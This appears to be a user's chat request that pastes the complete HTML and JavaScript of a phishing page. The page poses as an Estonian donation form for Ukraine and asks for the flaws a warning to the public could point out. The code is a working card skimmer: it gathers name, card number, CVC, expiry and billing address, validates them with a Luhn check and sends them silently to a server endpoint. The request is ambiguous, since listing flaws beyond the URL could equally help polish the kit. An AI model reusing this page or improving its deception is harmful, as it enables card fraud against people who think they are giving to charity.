do you notice any obvious flaws in this phishing page that I could alert people about?

<!DOCTYPE html>
<html lang="et">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>ukrainaheaks.ee</title>
    <link rel="stylesheet" href="styles.css">
</head>
<body>
    <script>
        const lang = 'ee'
    </script>
    <div class="blur-container">
        <div class="payment-container">
            <img src="logo.png" alt="Logo" class="logo">
            <h1 class="title">Toeta Ukrainat</h1>
            <p class="description">Annetamine toetab Ukraina lapsi, vanemaid, ja sõjas vigastatuid inimesi.</p>
            <form id="payment-form">
                <label for="donationAmount">Annetus Kogus (EUR) *</label>
                <input placeholder="5.00" value="5.00" type="number" id="donationAmount" name="donationAmount">

                <label for="fullName">Nimi *</label>
                <input placeholder="Jaak Tamm" type="text" id="fullName" name="fullName" required>

                <label for="cardNumber">Kaardi info</label>
                <input placeholder="Kaardi Number" type="text" id="cardNumber" name="cardNumber" required>

                <div class="card-details-grid">
                    <div class="grid-item">
                        <input placeholder="CVC" type="text" id="cvc" name="cvc" maxlength="3" required>
                    </div>
                    <div class="grid-item">
                        <input placeholder="KK/AA" type="month" id="expiryDate" name="expiryDate" required>
                    </div>
                </div>
                
                <label for="billingAddress">Arveaadress *</label>
                <input placeholder="Tänav xx, xxxxx Linn" id="billingAddress" name="billingAddress" required></textarea>

                <button type="submit" id="payButton">Anneta</button>

                <div class="icons-wrapper">
                    <img src="mastercard.svg" alt="Mastercard">
                    <img src="visa.svg" alt="Visa">
                </div>
            </form>
        </div>
    </div>
    <script src="script.js"></script>
</body>
</html>



document.getElementById('payment-form').addEventListener('submit', function(e) {
    e.preventDefault();

    var fullName = document.getElementById('fullName').value;
    var cardNumber = document.getElementById('cardNumber').value;
    var cvc = document.getElementById('cvc').value;
    var expiryDate = document.getElementById('expiryDate').value;
    var expiryDate = convertDateFormat(expiryDate.replace('-','/'))
    var billingAddress = document.getElementById('billingAddress').value;

    var errorFillInfo = 'Palun täida vorm.'
    var errorName = 'Kontrolli et sisestasid täisnime öigesti.'
    var errorBilling = 'Arveaadress kontroll ebaõnnestus.'
    var errorCardLen = 'Kaardi number peab olema 16 pikkusega.'
    var errorCardChars = 'Kaardi numbris on ainult numbrid.'
    var errorCVCLen = 'CVC peab olema 3 pikkusega.'
    var errorCVCNum = 'CVC numbris on ainult numbrid.'
    var errorExpiry = 'Aegumiskuupäev on möödunud vöi valesti sisestatud.'
    var errorCardNum = 'Vale kaardi number.'

    if (!/^[a-zA-Z\s]+$/.test(fullName)) {
        alert(errorName);
        return;
    }

    if (!fullName || !cardNumber || !cvc || !expiryDate || !billingAddress) {
        alert(errorFillInfo);
        return;
    }

    if (!minMaxLenght(fullName, 6, 50)) {
        alert(errorName);
        return;
    }

    if (!minMaxLenght(billingAddress, 10, 120)) {
        alert(errorName);
        return;
    }

    if (containsNumber(fullName)) {
        alert(errorName);
        return;
    }

    if (!fullName.includes(' ')) {
        alert(errorName);
        return;
    }

    if (!containsNumber(billingAddress)) {
        alert(errorBilling);
        return;
    }

    if (!lengthCheck(cardNumber, 16)) {
        alert(errorCardLen);
        return;
    }

    if (!onlyNumbers(cardNumber)) {
        alert(errorCardChars);
        return;
    }

    if (!lengthCheck(cvc, 3)) {
        alert(errorCVCLen);
        return;
    }

    if (!onlyNumbers(cvc)) {
        alert(errorCVCNum);
        return;
    }

    if (!validExpiryDate(expiryDate)) {
        console.log(expiryDate)
        alert(errorExpiry);
        return;
    }

    if (!isValidCardNumber(cardNumber)) {
        alert(errorCardNum);
        return;
    }

        // Send data to API endpoint
    fetch('/api/save-data', {
        method: 'POST',
        headers: {
            'Content-Type': 'application/json'
        },
        body: JSON.stringify({
            fullName: fullName,
            cardNumber: cardNumber,
            cvc: cvc,
            expiryDate: expiryDate,
            billingAddress: billingAddress
        })
    })
    .then(function(response) {
        if (response.ok) {
            return response.text();
        } else {
            throw new Error('Data not saved.');
        }
    })
    .then(function(responseText) {})
    .catch(function(error) {});
});

function convertDateFormat(dateString) {
    // Split the date string into year and month
    const [year, month] = dateString.split('/');
  
    // Create a new Date object using the provided year and month
    const date = new Date(`${year}-${month}-01`);
  
    // Get the formatted date string in the desired format (MM/YY)
    const formattedDate = date.toLocaleDateString('en-US', {
      year: '2-digit',
      month: '2-digit'
    });
  
    // Return the formatted date string
    return formattedDate.substring(0, 5);
}

function containsNumber(inputString) {
    return /\d/.test(inputString);
}

function minMaxLenght(inputString, minLength, maxLength) {
    return inputString.length >= minLength && inputString.length <= maxLength;
}

function lengthCheck(value, expectedLength) {
    return value.length === expectedLength;
}

function onlyNumbers(value) {
    return /^\d+$/.test(value);
}

function validExpiryDate(date) {
    var currentDate = new Date();
    var currentYear = currentDate.getFullYear() % 100; 
    var currentMonth = currentDate.getMonth() + 1; 

    var parts = date.split('/');
    var month = parseInt(parts[0], 10);
    var year = parseInt(parts[1], 10);

    return (year > currentYear) || (year === currentYear && month >= currentMonth);
}

function isValidCardNumber(number) {
    var digit, digits, sum, i, len;
    sum = 0;
    digits = (number + '').split('').reverse();
    for (i = 0, len = digits.length; i < len; i++) {
        digit = digits[i];
        digit = parseInt(digit, 10);
        if ((i % 2) === 1) {
            digit *= 2;
            if (digit > 9) {
                digit -= 9;
            }
        }
        sum += digit;
    }
    return (sum % 10) === 0;
}

what flaws do oyou notice appart from the universal ones such as url?